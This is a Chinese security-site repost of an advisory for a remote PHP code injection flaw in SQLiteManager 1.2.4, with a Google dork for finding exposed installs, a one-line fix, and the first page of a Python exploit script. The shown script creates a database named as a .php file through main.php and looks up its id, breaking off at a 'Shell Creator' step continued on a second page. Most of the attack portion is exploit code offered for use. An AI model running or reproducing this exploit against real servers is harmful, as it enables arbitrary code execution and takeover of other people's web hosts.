SQLiteManager 'add_database.php' 远程PHP代码注入漏洞下载

来源：黑吧安全网　浏览：1079次　时间：2014-04-30

受影响系统：

sourceforge sqlitemanager 1.2.4

描述：

BUGTRAQ ID: 57560

SQLiteManager是管理SQLite数据库的多语言Web工具。

SQLiteManager 1.2.4及其他版本在实现上存在远程PHP代码注入漏洞，攻击者可利用此漏洞在受影响应用中执行任意PHP代码。

<*来源：RealGame

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Description:

===============================================================

Exploit Title: SQLiteManager 0Day Remote PHP Code Injection Vulnerability

Google Dork: intitle:SQLiteManager inurl:sqlite/

Date: 23/01/2013

Exploit Author: RealGame

Vendor Homepage: http://www.Relagame.co.il

Software Link: http://sourceforge.net/projects/sqlitemanager/

Version: <=1.2.4

Tested on: Windows XP, Debian 2.6.32-46

CVE: N/A

===============================================================

Vulnerable Softwares:

Name: SQLiteManager

Official Site: http://www.sqlitemanager.org/

Name: Ampps

Official Site: http://www.ampps.com/

Name: VertrigoServ

Official Site: http://vertrigo.sourceforge.net/

===============================================================

About Software:

Official Site: http://www.sqlitemanager.org/

SQLiteManager is a database manager for SQLite databases. You can manage

any SQLite database created on any platform with SQLiteManager.

===============================================================

Easy Way To Fix:

Find: SQLiteStripSlashes($_POST['dbpath'])

Replace: str_replace('.', '', SQLiteStripSlashes($_POST['dbpath']))

On File: ./include/add_database.php

===============================================================

import re

import urllib2

from urllib import urlencode

from sys import argv, exit

def strip_tags(value):

#Strip tags with RegEx

return re.sub('<[^>]*?>', '', value)

def getDbId(sqliteUrl, myDbName):

#Find Components

htmlRes = urllib2.urlopen(sqliteUrl, None, 120).read()

if htmlRes:

#If you found it take all the rows

td = re.findall('<td class="name_db">(.*?)</td>', htmlRes, re.DOTALL)

#Make a dict of stripped columns

for element in td:

if strip_tags(element) == myDbName:

#Return Id

return "".join(re.findall('\?dbsel=(.*?)"', element, re.DOTALL))

return None

def main():

print \

'SQLiteManager Exploit\n' + \

'Made By RealGame\n' + \

'http://www.RealGame.co.il\n'

if len(argv) < 2:

#replace('\\', '/') - To Do The Same In Win And Linux

filename = argv[0].replace('\\', '/').split('/')[-1]

print 'Execute Example: ' + filename + ' http://127.0.0.1/sqlite/\n'

exit()

sqliteUrl = argv[1]

myDbName = "phpinfo"

myDbFile = "phpinfo.php"

#Create Database

params = {'dbname' : myDbName,

'dbVersion' : '2',

'dbRealpath' : None,

'dbpath' : myDbFile,

'action' : 'saveDb'}

urllib2.urlopen(sqliteUrl + "main.php", urlencode(params), 120)

#Get Database ID

dbId = getDbId(sqliteUrl + "left.php", myDbName)

#If Database Created

if dbId:

#Create Table + Shell Creator

[1] [2] 下一页

版权与免责声明：

凡注明稿件来源的内容均为转载稿或由网友用户注册发布，本网转载出于传递更多信息的目的；如转载稿涉及版权问题，请作者联系我们，同时对于用户评论等信息，本网并不意味着赞同其观点或证实其内容的真实性；

本文地址：https://top.cnzzla.com/artinfo/897.html

SQLiteManager 'add_database.php' 远程PHP代码注入漏洞下载

游戏新闻

推荐资讯

好玩的手游下载

推荐文章

猜你喜欢

推荐站点

最新优秀网站